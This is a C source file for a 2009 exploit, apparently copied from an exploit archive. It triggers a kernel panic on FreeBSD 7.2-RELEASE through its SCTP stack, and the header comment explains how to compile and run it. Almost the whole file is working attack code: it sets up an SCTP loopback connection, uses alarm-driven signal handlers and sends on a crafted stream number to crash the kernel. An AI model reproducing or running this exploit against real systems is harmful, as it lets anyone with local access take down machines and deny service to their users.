75 lines
No EOL
1.7 KiB
C
75 lines
No EOL
1.7 KiB
C
/* fbsd-sctp-panic.c
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*
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* freebsd 7.2-RELEASE SCTP local kernel DoS (kern panic)
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* only tested on 7.2-RELEASE, probably older and newer builds are vuln. as well
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* based on an unfixed bug found here: <http://www.freebsd.org/cgi/query-pr.cgi?pr=136803>
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*
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* by Shaun Colley <shaun@rsc.cx>, Wed 05 Aug 2009
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*
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* $ gcc fbsd-sctp-panic.c -o fbsd-sctp-panic && ./fbsd-sctp-panic
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* wait a few seconds..
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*
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* - shaun
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*/
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#include <stdio.h>
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#include <sys/types.h>
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#include <netinet/in.h>
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#include <netinet/sctp.h>
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#include <arpa/inet.h>
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#include <unistd.h>
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#include <netdb.h>
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#include <string.h>
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#include <signal.h>
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#include <sys/time.h>
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#include <fcntl.h>
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int csock, sock, lsock;
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void *accept_connection() {
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struct sockaddr_in sin;
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socklen_t size = sizeof(sin);
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sin.sin_family = AF_INET;
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sin.sin_addr.s_addr = htonl(0x7f000001);
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sin.sin_port = htons(1337);
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sock = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
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bind(sock, (struct sockaddr *)&sin, sizeof(sin));
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listen(sock, 1);
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lsock = accept(sock, (struct sockaddr *)&sin, &size);
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}
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void recvdata() {
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int flag;
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struct sctp_sndrcvinfo recvinfo;
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char buf[10];
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sctp_recvmsg(csock, buf, sizeof(buf), NULL, 0, &recvinfo, &flag);
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}
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void make_connection() {
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struct sockaddr_in consin;
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struct sctp_sndrcvinfo sinfo;
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csock = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
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consin.sin_family = AF_INET;
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consin.sin_addr.s_addr = htonl(0x7f000001);
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consin.sin_port = htons(1337);
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connect(csock, (struct sockaddr *)&consin, sizeof(consin));
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signal(SIGALRM, recvdata);
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sinfo.sinfo_stream = 1337;
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sctp_send(lsock, "pwned", sizeof("pwned"), &sinfo, 0);
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}
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int main() {
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alarm(2);
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signal(SIGALRM, make_connection);
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accept_connection();
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return 0;
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}
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// milw0rm.com [2009-08-06]
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